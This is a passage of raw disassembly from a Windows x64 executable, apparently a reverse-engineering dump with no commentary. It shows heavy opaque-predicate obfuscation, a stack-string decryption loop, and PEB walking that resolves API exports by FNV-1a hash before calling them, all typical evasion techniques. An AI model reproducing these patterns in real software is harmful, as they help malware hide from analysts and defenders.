movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a85d
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004a85d
mov eax, r14d
jmp 0x14004a8f8
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a8f1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004a8f8
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004ad4e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ad37
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004aa13
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004aa13
mov ebx, r14d
jmp 0x14004aaae
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004aaa7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004aaae
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004ad37
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1e90], xmm0
movups xmmword [rsp + 0x1ea0], xmm0
movups xmmword [rsp + 0x1eb0], xmm0
movups xmmword [rsp + 0x1ec0], xmm0
movups xmmword [rsp + 0x1ed0], xmm0
movups xmmword [rsp + 0x1ee0], xmm0
movups xmmword [rsp + 0x1ef0], xmm0
mov qword [rsp + 0x1f00], rax
lea rcx, [rsp + 0x1e90]
call fcn.14005c7d0
nop
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ac43
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004ac43
mov eax, r14d
jmp 0x14004acde
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004acd7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004acde
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004ad2a
lea r8, [rsp + 0x2980]
lea rdx, [rsp + 0x1988]
lea rcx, [rsp + 0x1e90]
call fcn.14005c6b0
mov ebx, dword [rsp + 0xa0]
or ebx, 0x80000000
lea rcx, [rsp + 0x1e90]
call fcn.14005c6e0
bts ebx, 0x1e
mov dword [rsp + 0xa0], ebx
jmp 0x14004afbb
lea rcx, [rsp + 0x1e90]
call fcn.14005c6e0
mov ebx, dword [rsp + 0xa0]
bts ebx, 0x1e
mov dword [rsp + 0xa0], ebx
jmp 0x14004afbb
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ae48
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004ae48
mov eax, r14d
jmp 0x14004aee3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004aedc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004aee3
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004afbb
mov byte [rsp + 0xd60], 0xb0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xd61], xmm0
mov dword [rsp + 0xd71], eax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jae 0x14004af69
movabs r8, 0xc227d16ef681bd98
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xd60]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x28
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xd60], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x14004af22
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x1988]
call fcn.140002460
nop
lea rax, [rsp + 0xd60]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14004af90
lea rdx, [rsp + 0xd60]
lea rcx, [rsp + 0x1988]
call fcn.140002480
nop
or dword [rsp + 0xa0], 0x40000000
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004bf0a
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004b0cc
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004b0cc
mov r15d, 7
mov ebx, r15d
jmp 0x14004b170
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004b163
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004b16a
mov ebx, dword [rsp + 0x1678]
mov r15d, 7
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004bf0a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004bf0a
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004b2cb
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004b2cb
mov ebx, r15d
jmp 0x14004b369
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004b362
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004b369
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004bf0a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004b45a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004b45a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14004b455
mov ecx, 0xd04cfc10
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004b430
cmp ecx, 0xc83a48bf
je 0x14004b590
test r8d, r8d
jne 0x14004b400
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14004b47b
cmp qword [rax + 0x30], 0
je 0x14004b47b
mov al, 1
jmp 0x14004b47d
xor al, al
test al, al
jne 0x14004b3d0
mov rdx, r12
call rdx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004bd42
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004b57a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004b57a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14004b575
mov ecx, 0x3933bf57
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004b550
cmp ecx, 0x1144dc8a
je 0x14004b688
test r8d, r8d
jne 0x14004b520
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14004b5ae
cmp qword [rax + 0x30], 0
je 0x14004b5ae
mov al, 1
jmp 0x14004b5b0
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14004b488
xor al, al
test al, al
jne 0x14004b4f0
mov rax, r12
mov r9d, 0x55
lea r8, [rsp + 0x26d0]
lea edx, [r9 + 7]
xor ecx, ecx
call rax
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004b6a6
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004b6a6
mov ebx, r15d
jmp 0x14004b744
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x14004b5bb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004b73d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004b744
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004bd42
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, esi
imul eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004b883
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004b883
mov eax, r15d
jmp 0x14004b921
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004b91a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004b921
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004bd42
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004bf0a
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ba3c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
